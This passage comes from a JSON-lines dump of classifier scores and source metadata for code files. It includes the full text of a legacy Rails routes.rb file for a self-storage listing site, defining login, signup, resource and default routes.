"reasoning_density": 0.21365153716863552, "education_level": 2.270752430836808, "creative_writing_quality": -0.28375806607153303}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.027325527465778765, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9952741999495655, "secondary": 0.9508708970899774, "tertiary": 0.9793844909673117, "structured_records": 0.3448938591598509, "procedural_steps": 0.0003186774025262041, "worked_solution": 0.0012337621225634316, "contextual_dialogue": 5.405686673252948e-06, "content_quality": 0.4495889666952463, "noise_severity": 0.9714962748390358, "missing_content_severity": 0.935009782566432, "factual_density": 0.4645372643859005, "pretraining_utility": 0.47090762104411354, "math_density": 0.9875818340906507, "code_density": 0.9357843446020007, "reasoning_density": 0.8219570523594705, "education_level": 0.6502755296305883, "creative_writing_quality": 0.9991358738441779, "primary_topic": 0.9881274708655303, "secondary_topic": 0.932017307541839}, "probability_margin": {"primary": 0.9928373743108442, "secondary": 0.9279870048404861, "tertiary": 0.9703198495579327, "education_level": 0.477741272215616, "creative_writing_quality": 0.9989488325630491, "primary_topic": 0.9851001650309865, "secondary_topic": 0.901472136155578}, "raw_probabilities": {"primary": {"Academic Writing": 2.7360732192276162e-05, "Content Listing": 5.744758244678283e-05, "Creative Writing": 1.8904929858004946e-05, "Customer Support Page": 1.3320072951363367e-05, "Q&A Forum": 1.0443460525944991e-05, "Discussion Thread": 8.154694971673414e-06, "Comment Section": 1.1264382549848316e-05, "Missing Content": 2.4990660232273515e-05, "Knowledge Article": 7.10673236952306e-05, "Legal Notices": 2.8283338287181477e-05, "News Article": 4.427242261877085e-06, "Organizational Announcement": 1.4033859370428163e-05, "Nonfiction Writing": 1.0553824937396707e-05, "Organizational About Page": 1.3209465957002336e-05, "Personal About Page": 1.1101479478888642e-05, "Personal Blog": 7.480057877050795e-06, "Product Page": 7.871940048768365e-06, "Spam / Ads": 1.0230298333164965e-05, "Structured Data": 0.0026337339741560072, "Technical Writing": 0.9954711082850002, "Transcript / Interview": 1.583581121838416e-05, "Tutorial / How-To Guide": 8.800173705523473e-05, "User Reviews": 6.109247492098725e-06, "Other / Unknown": 0.001435065599102817}, "secondary": {"Academic Writing": 0.0002195515241566183, "Content Listing": 0.0012803817876814302, "Creative Writing": 0.00018528971902472547, "Customer Support Page": 0.00016460947742383709, "Q&A Forum": 7.152543126379001e-05, "Discussion Thread": 6.962171272177894e-05, "Comment Section": 0.0001036000094024871, "Missing Content": 0.00041009293573597517, "Knowledge Article": 0.0004118701965233674, "Legal Notices": 0.00017547922883612153, "News Article": 0.00010071433637988818, "Organizational Announcement": 0.00011795018802777474, "Nonfiction Writing": 0.00010882725376983436, "Organizational About Page": 0.00012809160750968336, "Personal About Page": 9.567537284253135e-05, "Personal Blog": 9.994381894361255e-05, "Product Page": 6.173538408002838e-05, "Spam / Ads": 0.0001187411304992908, "Structured Data": 0.024930938204075517, "Technical Writing": 0.01775295325525022, "Transcript / Interview": 0.00012656042454121531, "Tutorial / How-To Guide": 0.0003031296497551037, "User Reviews": 4.4774306993554555e-05, "NONE": 0.9529179430445617}, "tertiary": {"Academic Writing": 8.292222639633828e-05, "Content Listing": 0.0006543608654107057, "Creative Writing": 8.790607887193529e-05, "Customer Support Page": 7.181078622804707e-05, "Q&A Forum": 2.856447984027786e-05, "Discussion Thread": 2.7219401144783743e-05, "Comment Section": 4.572583693884082e-05, "Missing Content": 0.000292176160760452, "Knowledge Article": 0.000450074810488223, "Legal Notices": 0.00012001113083950407, "News Article": 4.15957091634722e-05, "Organizational Announcement": 5.402182760024737e-05, "Nonfiction Writing": 5.829546435293074e-05, "Organizational About Page": 7.342894800547241e-05, "Personal About Page": 3.870468880743774e-05, "Personal Blog": 3.561199685302195e-05, "Product Page": 3.1001083033355856e-05, "Spam / Ads": 5.0335803410864425e-05, "Structured Data": 0.009923620952407754, "Technical Writing": 0.007252968185504517, "Transcript / Interview": 5.491311875776589e-05, "Tutorial / How-To Guide": 0.00026303090577141976, "User Reviews": 1.822902907226391e-05, "NONE": 0.9802434705103404}, "structured_records": {"false": 0.6551061408401491, "true": 0.3448938591598509}, "procedural_steps": {"false": 0.9996813225974738, "true": 0.0003186774025262041}, "worked_solution": {"false": 0.9987662378774366, "true": 0.0012337621225634316}, "contextual_dialogue": {"false": 0.9999945943133267, "true": 5.405686673252948e-06}, "content_quality": {"-2": 0.0056955476114490915, "-1": 0.0804110725664951, "0": 0.2847992616647332, "1": 0.4313089278236889, "2": 0.1977851903336338}, "noise_severity": {"0": 0.9716145326601201, "1": 0.02387108647700601, "2": 0.003592322871049887, "3": 0.0005394939932439421, "4": 0.00038256399857987373}, "missing_content_severity": {"0": 0.9414449704179502, "1": 0.04333650097382405, "2": 0.011962333755252916, "3": 0.0022976869759392545, "4": 0.0009585078770334948}, "factual_density": {"0": 0.006525566649834712, "1": 0.014494898973031488, "2": 0.11515366543024681, "3": 0.3426609883579924, "4": 0.5211648805888945}, "pretraining_utility": {"-2": 0.014404664749034698, "-1": 0.1649114674883879, "0": 0.4280971322909528, "1": 0.34398341318264286, "2": 0.04860332228898177}, "math_density": {"0": 0.9881196854694463, "1": 0.010466076185077647, "2": 0.0005017190348927356, "3": 0.00021779240597761293, "4": 0.0006947269046058164}, "code_density": {"0": 0.00017080212305673045, "1": 0.00034074543394023264, "2": 0.0073347886035345835, "3": 0.06068376447648248, "4": 0.9314698993629861}, "reasoning_density": {"0": 0.8615833236764869, "1": 0.07153898638820515, "2": 0.06016739833237588, "3": 0.005063412296048833, "4": 0.001646879306883017}, "education_level": {"none": 0.0013450899665195068, "0": 0.0021136911285832656, "1": 0.02350641974436489, "2": 0.7085629413588236, "3": 0.23082166914320756, "4": 0.03365018865850121}, "creative_writing_quality": {"not_applicable": 0.9992798948701482, "-2": 0.00010497685253035738, "-1": 0.0001559098143604217, "0": 0.00033106230709910203, "1": 9.47844313181683e-05, "2": 3.337172454398268e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0034839415704848976, "Art & Design": 0.00018256070787192456, "Law & Crime": 0.00021761545679038736, "Education & Careers": 6.664744108666334e-05, "Entertainment & Media": 0.00010604198110267889, "Fashion & Beauty": 3.8723585400065406e-05, "Business, Economics & Finance": 0.0002947493380582871, "Food & Dining": 3.77619647269959e-05, "Games & Gaming": 0.0004825565637321867, "Electronics & Hardware": 9.383874507039512e-05, "Health, Healthcare & Wellness": 3.6731418005212906e-05, "History & Geography": 4.600397185044997e-05, "Home, Pets & Hobbies": 5.374222805660403e-05, "Industry & Production": 4.3862626203829e-05, "Language, Literature & Philosophy": 8.098019606182743e-05, "Politics & Government": 7.193178413191589e-05, "Religion & Spirituality": 5.334261843435977e-05, "Science, Mathematics & Engineering": 9.050623945961485e-05, "Relationships & Community": 0.0007493530680720389, "Software Usage & Applications": 0.001881943945832606, "Programming & Software Engineering": 0.9885841066014714, "Sports & Fitness": 6.347661035985497e-05, "Vehicles & Transportation": 2.789095376930201e-05, "Travel & Tourism": 7.610440355762361e-05, "Other / Uncovered Subject": 0.0029452778748211765, "Unknown / Insufficient Content": 0.00019030810558736313}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.008039845531676257, "Art & Design": 0.0012393598518249606, "Law & Crime": 0.0014246828488791799, "Education & Careers": 0.00031363041154791865, "Entertainment & Media": 0.0007453042172195037, "Fashion & Beauty": 0.00018389142759394652, "Business, Economics & Finance": 0.0011273431469329728, "Food & Dining": 0.00017533150381618512, "Games & Gaming": 0.0008164347995488678, "Electronics & Hardware": 0.0002974670614232023, "Health, Healthcare & Wellness": 0.0002170078261495831, "History & Geography": 0.0001851633991655962, "Home, Pets & Hobbies": 0.00024201735566217245, "Industry & Production": 0.00016103415132627625, "Language, Literature & Philosophy": 0.00026150926947473256, "Politics & Government": 0.0002851982278373264, "Religion & Spirituality": 0.00023275247537218579, "Science, Mathematics & Engineering": 0.0003990379990526057, "Relationships & Community": 0.0017015232194282355, "Software Usage & Applications": 0.009623921921720114, "Programming & Software Engineering": 0.03315989032695956, "Sports & Fitness": 0.00017649864542993137, "Vehicles & Transportation": 9.050464680938482e-05, "Travel & Tourism": 0.0002700357061421498, "Other / Uncovered Subject": 0.003998587546469637, "NONE": 0.9346320264825375}}, "probabilities": {"primary": {"Academic Writing": 2.7360732192276165e-05, "Content Listing": 5.7447582446782835e-05, "Creative Writing": 1.890492985800495e-05, "Customer Support Page": 1.3320072951363369e-05, "Q&A Forum": 1.0443460525944993e-05, "Discussion Thread": 8.154694971673415e-06, "Comment Section": 1.1264382549848318e-05, "Missing Content": 2.499066023227352e-05, "Knowledge Article": 7.106732369523062e-05, "Legal Notices": 2.828333828718148e-05, "News Article": 4.427242261877086e-06, "Organizational Announcement": 1.4033859370428164e-05, "Nonfiction Writing": 1.0553824937396709e-05, "Organizational About Page": 1.3209465957002337e-05, "Personal About Page": 1.1101479478888643e-05, "Personal Blog": 7.480057877050796e-06, "Product Page": 7.871940048768367e-06, "Spam / Ads": 1.0230298333164967e-05, "Structured Data": 0.0026337339741560077, "Technical Writing": 0.9954711082850003, "Transcript / Interview": 1.5835811218384164e-05, "Tutorial / How-To Guide": 8.800173705523474e-05, "User Reviews": 6.109247492098726e-06, "Other / Unknown": 0.0014350655991028172}, "secondary": {"Academic Writing": 0.0002195515241566183, "Content Listing": 0.0012803817876814302, "Creative Writing": 0.00018528971902472547, "Customer Support Page": 0.00016460947742383709, "Q&A Forum": 7.152543126379001e-05, "Discussion Thread": 6.962171272177894e-05, "Comment Section": 0.0001036000094024871, "Missing Content": 0.00041009293573597517, "Knowledge Article": 0.0004118701965233674, "Legal Notices": 0.00017547922883612153, "News Article": 0.00010071433637988818, "Organizational Announcement": 0.00011795018802777474, "Nonfiction Writing": 0.00010882725376983436, "Organizational About Page": 0.00012809160750968336, "Personal About Page": 9.567537284253135e-05, "Personal Blog": 9.994381894361255e-05, "Product Page": 6.173538408002838e-05, "Spam / Ads": 0.0001187411304992908, "Structured Data": 0.024930938204075517, "Technical Writing": 0.01775295325525022, "Transcript / Interview": 0.00012656042454121531, "Tutorial / How-To Guide": 0.0003031296497551037, "User Reviews": 4.4774306993554555e-05, "NONE": 0.9529179430445617}, "tertiary": {"Academic Writing": 8.292222639633828e-05, "Content Listing": 0.0006543608654107057, "Creative Writing": 8.790607887193529e-05, "Customer Support Page": 7.181078622804707e-05, "Q&A Forum": 2.856447984027786e-05, "Discussion Thread": 2.7219401144783743e-05, "Comment Section": 4.572583693884082e-05, "Missing Content": 0.000292176160760452, "Knowledge Article": 0.000450074810488223, "Legal Notices": 0.00012001113083950407, "News Article": 4.15957091634722e-05, "Organizational Announcement": 5.402182760024737e-05, "Nonfiction Writing": 5.829546435293074e-05, "Organizational About Page": 7.342894800547241e-05, "Personal About Page": 3.870468880743774e-05, "Personal Blog": 3.561199685302195e-05, "Product Page": 3.1001083033355856e-05, "Spam / Ads": 5.0335803410864425e-05, "Structured Data": 0.009923620952407754, "Technical Writing": 0.007252968185504517, "Transcript / Interview": 5.491311875776589e-05, "Tutorial / How-To Guide": 0.00026303090577141976, "User Reviews": 1.822902907226391e-05, "NONE": 0.9802434705103404}, "structured_records": {"false": 0.6551061408401491, "true": 0.3448938591598509}, "procedural_steps": {"false": 0.9996813225974738, "true": 0.0003186774025262041}, "worked_solution": {"false": 0.9987662378774366, "true": 0.0012337621225634316}, "contextual_dialogue": {"false": 0.9999945943133267, "true": 5.405686673252948e-06}, "content_quality": {"-2": 0.0056955476114490915, "-1": 0.0804110725664951, "0": 0.2847992616647332, "1": 0.4313089278236889, "2": 0.1977851903336338}, "noise_severity": {"0": 0.9716145326601203, "1": 0.023871086477006018, "2": 0.003592322871049888, "3": 0.0005394939932439422, "4": 0.00038256399857987384}, "missing_content_severity": {"0": 0.9414449704179503, "1": 0.043336500973824056, "2": 0.011962333755252918, "3": 0.002297686975939255, "4": 0.0009585078770334949}, "factual_density": {"0": 0.006525566649834712, "1": 0.014494898973031488, "2": 0.11515366543024681, "3": 0.3426609883579924, "4": 0.5211648805888945}, "pretraining_utility": {"-2": 0.014404664749034698, "-1": 0.1649114674883879, "0": 0.4280971322909528, "1": 0.34398341318264286, "2": 0.04860332228898177}, "math_density": {"0": 0.9881196854694463, "1": 0.010466076185077647, "2": 0.0005017190348927356, "3": 0.00021779240597761293, "4": 0.0006947269046058164}, "code_density": {"0": 0.00017080212305673045, "1": 0.00034074543394023264, "2": 0.0073347886035345835, "3": 0.06068376447648248, "4": 0.9314698993629861}, "reasoning_density": {"0": 0.8615833236764872, "1": 0.07153898638820516, "2": 0.060167398332375895, "3": 0.005063412296048834, "4": 0.0016468793068830174}, "education_level": {"none": 0.0013450899665195068, "0": 0.0021136911285832656, "1": 0.02350641974436489, "2": 0.7085629413588236, "3": 0.23082166914320756, "4": 0.03365018865850121}, "creative_writing_quality": {"not_applicable": 0.999279894870148, "-2": 0.00010497685253035735, "-1": 0.00015590981436042168, "0": 0.000331062307099102, "1": 9.478443131816827e-05, "2": 3.3371724543982675e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.003483941570484899, "Art & Design": 0.0001825607078719246, "Law & Crime": 0.00021761545679038744, "Education & Careers": 6.664744108666337e-05, "Entertainment & Media": 0.00010604198110267893, "Fashion & Beauty": 3.872358540006542e-05, "Business, Economics & Finance": 0.0002947493380582872, "Food & Dining": 3.7761964726995914e-05, "Games & Gaming": 0.0004825565637321869, "Electronics & Hardware": 9.383874507039514e-05, "Health, Healthcare & Wellness": 3.673141800521292e-05, "History & Geography": 4.600397185044998e-05, "Home, Pets & Hobbies": 5.374222805660405e-05, "Industry & Production": 4.386262620382901e-05, "Language, Literature & Philosophy": 8.098019606182746e-05, "Politics & Government": 7.193178413191592e-05, "Religion & Spirituality": 5.334261843435979e-05, "Science, Mathematics & Engineering": 9.050623945961487e-05, "Relationships & Community": 0.0007493530680720391, "Software Usage & Applications": 0.0018819439458326068, "Programming & Software Engineering": 0.9885841066014718, "Sports & Fitness": 6.3476610359855e-05, "Vehicles & Transportation": 2.789095376930202e-05, "Travel & Tourism": 7.610440355762364e-05, "Other / Uncovered Subject": 0.0029452778748211774, "Unknown / Insufficient Content": 0.0001903081055873632}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.008039845531676257, "Art & Design": 0.0012393598518249606, "Law & Crime": 0.0014246828488791799, "Education & Careers": 0.00031363041154791865, "Entertainment & Media": 0.0007453042172195037, "Fashion & Beauty": 0.00018389142759394652, "Business, Economics & Finance": 0.0011273431469329728, "Food & Dining": 0.00017533150381618512, "Games & Gaming": 0.0008164347995488678, "Electronics & Hardware": 0.0002974670614232023, "Health, Healthcare & Wellness": 0.0002170078261495831, "History & Geography": 0.0001851633991655962, "Home, Pets & Hobbies": 0.00024201735566217245, "Industry & Production": 0.00016103415132627625, "Language, Literature & Philosophy": 0.00026150926947473256, "Politics & Government": 0.0002851982278373264, "Religion & Spirituality": 0.00023275247537218579, "Science, Mathematics & Engineering": 0.0003990379990526057, "Relationships & Community": 0.0017015232194282355, "Software Usage & Applications": 0.009623921921720114, "Programming & Software Engineering": 0.03315989032695956, "Sports & Fitness": 0.00017649864542993137, "Vehicles & Transportation": 9.050464680938482e-05, "Travel & Tourism": 0.0002700357061421498, "Other / Uncovered Subject": 0.003998587546469637, "NONE": 0.9346320264825375}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11928, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11928, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:09.765177+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "1d69923b-74e8-4d56-b9ed-fc7323193df1", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b806f84c8fa5a09354a38b5b393bedcdf0b2a8a8e0229a412f49fa39b0afef24", "source_metadata": {"uuid": "1d69923b-74e8-4d56-b9ed-fc7323193df1", "repo_name": "Deer-Spangle/e621ng", "relative_path": "app/decorators/mod_action_decorator.rb", "category": "WEB", "algo_rel_score": 0.9076247215270996, "quality_score": 4.794536590576172, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 10075, "repo_created_at": "2022-08-04T21:15:35.000Z", "is_fork": true, "is_org_owned": false, "forked_from": "e621ng/e621ng", "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "0216c1ea9117e8a00ee3101b52173a5869a655b0", "size_bytes": 11844, "file_timestamp": 1657766695, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b4672dadeef12e7aa20401b6074bc7676bb23bbb"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 10075, "repo_created_at": "2022-08-04T21:15:35.000Z", "is_fork": true, "is_org_owned": false, "forked_from": "e621ng/e621ng", "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "0216c1ea9117e8a00ee3101b52173a5869a655b0", "size_bytes": 11844, "file_timestamp": 1657766695, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b4672dadeef12e7aa20401b6074bc7676bb23bbb", "url": "https://github.com/Deer-Spangle/e621ng/blob/b4672dadeef12e7aa20401b6074bc7676bb23bbb/app/decorators/mod_action_decorator.rb"}, "gpt4o_tokens": 3240, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7350771407015632, "noise_severity": 0.034204470193157116, "missing_content_severity": 0.07798826092028163, "factual_density": 3.3574447172630806, "pretraining_utility": 0.24746926077414913, "math_density": 0.014901799091219223, "code_density": 3.9229412135224013, "reasoning_density": 0.21365153716863552, "education_level": 2.270752430836808, "creative_writing_quality": -0.28375806607153303}, "score_applicability": {"education_level": 0.9986549100334805, "creative_writing_quality": 0.000720105129852032}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Evon1/StorageDirectory/blob/519750ad0bc80b080ffb73c6f9d661dce91fffce/config/routes.rb", "id": "ruby-0-2bc434f7309ba04e9d7be2c5529d5181", "text": "ActionController::Routing::Routes.draw do |map|\n # The priority is based upon order of creation: first created -> highest priority.\n\n # Sample of regular route:\n # map.connect 'products/:id', :controller => 'catalog', :action => 'view'\n # Keep in mind you can assign values other than :controller and :action\n\n # Sample of named route:\n # map.purchase 'products/:id/purchase', :controller => 'catalog', :action => 'purchase'\n # This route can be invoked with purchase_url(:id => product.id)\n map.login '/login', :controller => 'user_sessions', :action => 'new'\n map.signup '/signup', :controller => 'users', :action => 'new'\n map.logout '/logout', :controller => 'user_sessions', :action => 'destroy'\n \n # clean seo friendly\n map.facility '/self-storage/:title/:id', :controller => 'listings', :action => :show\n map.quick_search '/self-storage/:q', :controller => 'pages', :action => 'show'\n \n # grey module\n map.locate '/locate/:state/:city/:address', :controller => 'pages', \n :action => 'show',\n :title => 'storage-locator',\n :requirements => { :zip => /^\\d{5}$/ }\n \n map.create_tip '/create_tip', :controller => 'posts', :action => 'create', :for => 'tip'\n \n # Sample resource route (maps HTTP verbs to controller actions automatically):\n # map.resources :products\n map.resources :users\n map.resources :user_sessions\n map.resources :permissions\n map.resources :roles\n map.resources :pages\n map.resources :posts, :member => { :rate => :post }\n map.resources :blocks\n map.resources :comments\n map.resources :tags\n map.resources :views\n map.resources :widgets\n map.resources :galleries\n map.resources :images\n map.resources :virtual_models\n map.resources :links\n map.resources :link_groups\n map.resources :helptexts\n map.resources :forms\n map.resources :suggestions\n map.resources :clients, :has_many => :listings\n map.resources :reservations\n \n map.resource :site_setting\n \n # greyresults\n map.resources :listings, :collection => { :import => :post }, :has_many => :sizes\n \n map.paperclip_attachment '/images/:id', :controller => 'images', :action => 'show'\n \n # Sample resource route with options:\n # map.resources :products, :member => { :short => :get, :toggle => :post }, :collection => { :sold => :get }\n \n # Sample resource route with sub-resources:\n # map.resources :products, :has_many => [ :comments, :sales ], :has_one => :seller\n \n # Sample resource route with more complex sub-resources\n # map.resources :products do |products|\n # products.resources :comments\n # products.resources :sales, :collection => { :recent => :get }\n # end\n map.resources :users do |user|\n user.resources :posts, :collection => { :published => :get }\n user.resources :images\n user.resources :comments\n user.resources :tags\n user.resources :permissions\n end\n \n map.resources :pages do |page|\n page.resources :views\n page.resources :blocks\n page.resources :tags\n page.resources :suggestions\n end\n \n map.resources :posts do |post|\n post.resources :views\n post.resources :blocks\n post.resources :tags\n end\n \n map.resources :blocks do |block|\n block.resources :views\n block.resource :widget\n end\n \n map.resources :galleries do |block|\n block.resources :images\n end\n \n map.resources :groups do |group|\n group.resources :links\n end\n \n # Sample resource route within a namespace:\n # map.namespace :admin do |admin|\n # # Directs /admin/products/* to Admin::ProductsController (app/controllers/admin/products_controller.rb)\n # admin.resources :products\n # end\n \n map.ajax '/ajax/:action', :controller => 'ajax', :action => nil \n map.tagged_with '/:model/tagged-with/:tag', :controller => 'tags', :action => 'show'\n \n # search results module\n map.connect ':title/:query', :controller => 'pages', :action => 'show', :title => nil, :query => nil\n \n # You can have the root of your site routed with map.root -- just remember to delete public/index.html.\n map.root :controller => 'pages', :action => 'show', :title => 'home'\n\n # See how all your routes lay out with \"rake routes\"\n\n # Install the default routes as the lowest priority.\n # Note: These default routes make all actions in every controller accessible via GET requests. You should\n # consider removing or commenting them out if you're using named routes and resources.\n map.connect ':title', :controller => 'pages', :action => 'show', :title => nil\n map.connect ':controller/:action/:id'\n map.connect ':controller/:action/:id.:format'\nend\n", "text_preview": "ActionController::Routing::Routes.draw do |map| # The priority is based upon order of creation: first created -> highest priority. # Sample of regular route: # map.connect 'products/:id', :controller => 'catalog', :action => 'view' # Keep i", "input_sha256": "9b51e5f9d0c9421efb3fe42cca71ed736814e3dd18c3b1af92b10ff6c987ab1c", "text_sha256": "2bc434f7309ba04e9d7be2c5529d518174ae9014bed09896968e600258f50aa0", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16022, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.8684249656765054, "noise_severity": 0.48674402622191265, "missing_content_severity": 0.006211318569254165, "factual_density": 3.445164356320126, "pretraining_utility": 0.12750970623588273, "math_density": 0.14677664980871605, "code_density": 3.6545280841597387, "reasoning_density": 0.09187980425705589, "education_level": 2.1506723411430153, "creative_writing_quality": -0.274650974799542}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.014312917338183517, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9923609183406522, "secondary": 0.915188864672225, "tertiary": 0.9301240827642426, "structured_records": 0.5559763161752801, "procedural_steps": 0.0015405905849644565, "worked_solution": 0.0003706578683167876, "contextual_dialogue": 8.498568316403956e-06, "content_quality": 0.539489342540102, "noise_severity": 0.594379978148406, "missing_content_severity": 0.9948239011922883, "factual_density": 0.5376369636001049, "pretraining_utility": 0.47243264867335455, "math_density": 0.8776861251594033, "code_density": 0.7121067367997821, "reasoning_density": 0.9234334964524534, "education_level": 0.7336250591292057, "creative_writing_quality": 0.9991332171947727, "primary_topic": 0.9612758632125137, "secondary_topic": 0.897325818249637}, "probability_margin": {"primary": 0.9880726953557015, "secondary": 0.8863323587128948, "tertiary": 0.9072349180631433, "education_level": 0.6158422801380553, "creative_writing_quality": 0.9989529420669072, "primary_topic": 0.9535807172847114, "secondary_topic": 0.8778723080389217}, "raw_probabilities": {"primary": {"Academic Writing": 4.1116200127837226e-05, "Content Listing": 0.00013365067502991103, "Creative Writing": 1.758772129965205e-05, "Customer Support Page": 1.8045103876015006e-05, "Q&A Forum": 1.584442235524355e-05, "Discussion Thread": 1.2270611205857305e-05, "Comment Section": 2.1720142839678032e-05, "Missing Content": 3.4612978312622346e-05, "Knowledge Article": 0.00013325549954121176, "Legal Notices": 3.886147262854826e-05, "News Article": 6.753137108078892e-06, "Organizational Announcement": 1.679672345906506e-05, "Nonfiction Writing": 1.4323159688658869e-05, "Organizational About Page": 2.112640989559337e-05, "Personal About Page": 2.0458129187904995e-05, "Personal Blog": 1.1151681046409552e-05, "Product Page": 1.115443055136619e-05, "Spam / Ads": 1.8254523277324417e-05, "Structured Data": 0.004606518054090137, "Technical Writing": 0.9926792134097917, "Transcript / Interview": 1.598830336734485e-05, "Tutorial / How-To Guide": 0.0005804164383700309, "User Reviews": 9.026850930409809e-06, "Other / Unknown": 0.0015218539220193696}, "secondary": {"Academic Writing": 0.00036034092908905293, "Content Listing": 0.0015392554239642424, "Creative Writing": 0.00024602098815766724, "Customer Support Page": 0.00035558913134635617, "Q&A Forum": 0.00016012906820911336, "Discussion Thread": 0.00012480870516812467, "Comment Section": 0.0013721543282446565, "Missing Content": 0.0004708715510220311, "Knowledge Article": 0.0019345274232901227, "Legal Notices": 0.0002269815107149343, "News Article": 0.0001982671044872144, "Organizational Announcement": 0.00019719940603612153, "Nonfiction Writing": 0.00018833460501238222, "Organizational About Page": 0.00023239480490643588, "Personal About Page": 0.00019066451941864265, "Personal Blog": 0.00018665399518767544, "Product Page": 0.00011781245200007738, "Spam / Ads": 0.0002245401142072698, "Structured Data": 0.03239030326465421, "Technical Writing": 0.017076908070758116, "Transcript / Interview": 0.00018816566793339835, "Tutorial / How-To Guide": 0.02320086200972945, "User Reviews": 9.45529489137029e-05, "NONE": 0.918722661977549}, "tertiary": {"Academic Writing": 0.00022584197447615554, "Content Listing": 0.0021167831096992598, "Creative Writing": 0.00018462768981130143, "Customer Support Page": 0.0002979363350715317, "Q&A Forum": 9.299475945464224e-05, "Discussion Thread": 8.954155106463194e-05, "Comment Section": 